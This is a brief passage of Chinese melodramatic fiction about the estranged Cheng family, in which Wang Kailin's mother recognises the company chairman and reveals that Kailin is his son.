程俊安毫不顾忌程老爷子的病体,程老爷子对这个儿子也失望至极。 火已经烧起来了,接下来就是东风助势。 程老爷子出院那天,正巧碰上王凯林的母亲来看望王凯林。 却发现王凯林公司的董事长竟然是自己的几十年前的. “凯林他是你的儿子啊!”